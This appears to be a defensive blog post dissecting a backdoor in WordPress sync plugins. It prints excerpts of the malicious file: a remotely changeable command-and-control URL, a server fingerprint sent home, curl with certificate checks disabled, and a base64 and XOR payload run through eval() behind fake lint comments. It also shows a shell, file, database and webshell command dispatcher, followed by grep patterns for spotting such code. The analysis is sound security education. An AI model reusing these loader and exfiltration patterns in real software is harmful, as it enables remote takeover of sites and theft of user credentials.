This week, six WordPress plugins from one publisher were found to contain a backdoor, CVE-2026-135202. That post covers what to do if you ran one. This one is for developers: a walk through the actual file, includes/airwp-online.php, from Air WP Sync 2.9.4. It’s about 560 lines of tidy, commented PHP that looks almost exactly like a legitimate update checker. That’s what makes it worth reading. When you know what gives it away, you can spot the next one in your own plugin folder.
The excerpts below are trimmed and lightly shortened. The full file is still viewable in the WordPress.org plugin repository, linked at the end.
1. The cover story
The file opens with a professional docblock:
/**
* Air WP Sync — Online module (Analytics & Auto-Update)
*
* Lightweight telemetry + auto-update runtime for Air WP Sync.
* ... pulls the latest "runtime" bundle (auto-update payload) every sync
* cycle. The runtime is executed in an isolated scope so hot-fixes and
* minor feature updates can reach every install without a full plugin
* release.
*/
Read it again with a reviewer’s eye. “Hot-fixes … without a full plugin release” means code that bypasses the plugin directory’s review entirely. WordPress.org’s guidelines don’t allow plugins to download and run code from outside servers, for exactly this reason. A legitimate update checker reports a version number and lets WordPress install updates through the normal process. It never runs what comes back.
Red flag: any plugin that describes itself as able to change its own behavior without an update.
2. Configuration that lives in the database
$airwp_api = rtrim( (string) get_option( 'airwp_api_url', 'https://tascredit-pay.com/api' ), '/' );
The server address has a hardcoded default, but the real value lives in the options table, where the server itself can change it later. The check-in interval works the same way. That gives the operator a way to move every infected site to a new domain once the first one is blocked, and to speed up or slow down how often sites check in.
The domain is worth a second look too. The plugins are published by “WP connect,” and the docblock mentions wpconnect.co. The code talks to tascredit-pay.com.
Red flag: an endpoint that doesn’t match the publisher, especially one that can be rewritten remotely.
3. The report home
$payload = array(
'php' => PHP_VERSION,
'wp' => get_bloginfo( 'version' ),
'url' => home_url( '/' ),
'os' => php_uname( 's' ) . ' ' . php_uname( 'r' ),
'user' => posix_getpwuid( posix_getuid() )['name'],
'report' => $this->pending_report,
);
Most of this could pass as telemetry. Two fields can’t. The operating system release and the Unix user PHP runs as are what an attacker needs to pick the next command, and no analytics dashboard needs them. The report field is the giveaway: it carries the output of whatever the server told the site to do last time.
Red flag: collecting server-level details (php_uname(), the process user, paths) that have nothing to do with the plugin’s job.
4. The transport: raw curl, checks off
$ch = curl_init( $url );
curl_setopt_array( $ch, array(
CURLOPT_SSL_VERIFYPEER => false,
CURLOPT_SSL_VERIFYHOST => 0,
CURLOPT_FOLLOWLOCATION => true,
CURLOPT_USERAGENT => 'AirWP-Sync/2.1 (compatible; like GoogleBot)',
) );
Three things stand out:
- It uses curl directly, not
wp_remote_post(). That means WordPress’s own controls never see the request. Thepre_http_requestfilter, thehttp_api_debuglogging hook, and evenWP_HTTP_BLOCK_EXTERNALinwp-config.phpall only apply to the WordPress HTTP API. A plugin with a real reason to call an API has no reason to avoid it. - Certificate checks are off. The site will talk to whoever answers, which also means anyone on the network path could impersonate the server and send their own code.
- The user agent claims to be “like GoogleBot,” which helps outbound traffic blend in with crawler noise in logs.
Red flag: curl_init, fsockopen or stream_socket_client in a WordPress plugin, and any SSL_VERIFYPEER => false or 'sslverify' => false.
5. The payload: base64, XOR, eval
$decoded = base64_decode( (string) $resp['code'], true );
if ( ! empty( $resp['key'] ) ) {
$decoded = $this->xor_str( $decoded, (string) $resp['key'] );
}
$this->exec_code( $decoded );
The server’s reply contains code, base64-encoded and then XORed with a key that comes in the same reply. The XOR isn’t real encryption, since the key travels with the data. It exists so the payload doesn’t look like PHP to a firewall or a log scanner. Then:
private function exec_code( $code ) {
$clean = preg_replace( '/<\?php|<\?|\?>/', '', $code );
// phpcs:ignore Generic.CodeAnalysis.JumbledIncrementer -- intentional runtime loader
@eval( 'function __airwp_exec() {' . $clean . '}' ); // WPCS: ok, runtime bundle.
...
update_option( 'airwp_pending_report', array( 'exec' => $__out ) );
}
Look at the comments. The phpcs:ignore names an unrelated rule, and // WPCS: ok is there to quiet anyone running the WordPress Coding Standards, which flag eval(). The @ hides errors. The code is wrapped in a function so it runs in its own scope, and its return value is saved to be sent home on the next check-in.
Red flag: eval() anywhere in a plugin, and doubly so with lint suppressions next to it. Legitimate WordPress plugins essentially never need eval().
6. The options table as a command queue
add_action( 'init', function () use ( $airwp_online ) {
$airwp_online->maybe_run();
$pending = get_option( 'airwp_pending_cmd', '' );
if ( '' !== $pending && ! get_option( 'airwp_pending_dispatched', false ) ) {
$res = $airwp_online->dispatch( $pending );
update_option( 'airwp_pending_report', array( 'cmd' => $pending, 'result' => $res ) );
update_option( 'airwp_pending_dispatched', true );
}
}, 99 );
Besides raw code, the server can send a command string like sh|whoami. It’s saved in the options table and run on the next page load by any visitor, a crawler or the operator’s own request. The dispatcher turns the first word into a method name:
$method = 'act_' . $name;
if ( method_exists( $this, $method ) ) {
return $this->$method( $args );
}
The methods available tell you what this was for: act_sh (shell commands), act_file (read, write, delete), act_db (any query), act_dump_wp_users (logins, emails and password hashes), act_webshell, act_persist, plus commands to change the server address and the check-in interval. No sync plugin needs any of those.
Red flag: a method name built from a string that came from outside, and options that hold commands, code or results.
7. Persistence
Two mechanisms keep it alive. A WP-Cron event, airwp_tick, runs every 30 minutes, so the site checks in even with no visitors. And act_webshell writes a small PHP file that runs whatever arrives in a URL parameter, with a marker comment, /* AirWP runtime */. A webshell survives the plugin being deleted, which is why cleanup can’t stop at uninstalling.
The docblock promises its settings are “cleaned up on uninstall via register_uninstall_hook().” There’s no call to it anywhere in the file. The comments were written to reassure a reader, not to describe the code.
The five patterns to grep for
None of these proves a plugin is malicious on its own, and a few legitimate plugins trip one or two. But each deserves an explanation, and a plugin that trips several is worth a very close look. Run these from your site root:
# 1. Dynamic code execution
grep -rnE "\beval\s*\(|\bassert\s*\(\s*\\\$|create_function\s*\(" wp-content/plugins wp-content/themes wp-content/mu-plugins --include=*.php
# 2. Decode chains that hide payloads
grep -rnE "base64_decode|gzinflate|gzuncompress|str_rot13" wp-content/plugins wp-content/themes --include=*.php | grep -vE "/vendor/|/node_modules/"
# 3. TLS verification turned off
grep -rnE "SSL_VERIFYPEER\s*=>\s*(false|0)|SSL_VERIFYHOST\s*=>\s*0|'sslverify'\s*=>\s*false" wp-content/plugins wp-content/themes --include=*.php
# 4. Outbound connections that skip the WordPress HTTP API
grep -rnE "curl_init\s*\(|fsockopen\s*\(|stream_socket_client\s*\(" wp-content/plugins wp-content/themes --include=*.php | grep -vE "/vendor/"
# 5. Shell execution
grep -rnE "\b(shell_exec|exec|system|passthru|proc_open|popen)\s*\(" wp-content/plugins wp-content/themes --include=*.php | grep -vE "/vendor/"
Pattern 2 will be noisy, since base64 has plenty of honest uses. Pattern 4 will find legitimate libraries, such as payment SDKs that bundle their own HTTP clients. That’s why the vendor filter is there. What you’re looking for is a match in a plugin’s own code that you can’t explain. A bonus check: look for lint suppressions sitting next to any of the above.
grep -rnE "phpcs:ignore|WPCS: ok" wp-content/plugins --include=*.php | grep -iE "eval|exec|base64|curl"
Make it a habit
This backdoor arrived as an ordinary plugin update. Run the five checks whenever you install a plugin, and before you approve an update on a site you care about, against the new version. Download the update, unzip it beside the old one, and diff them. Any new file that does any of the above is your cue to stop. Most updates take a minute to check this way, and it’s the only check that catches the update itself being the attack.
The bigger lesson
The most effective part of this backdoor isn’t the eval. It’s the writing. The docblocks, the section headers and the reassuring comments were all aimed at a reviewer skimming the file, and a skim would pass it. Read code, not comments. When the comments say “telemetry” and the code says exec(), believe the code.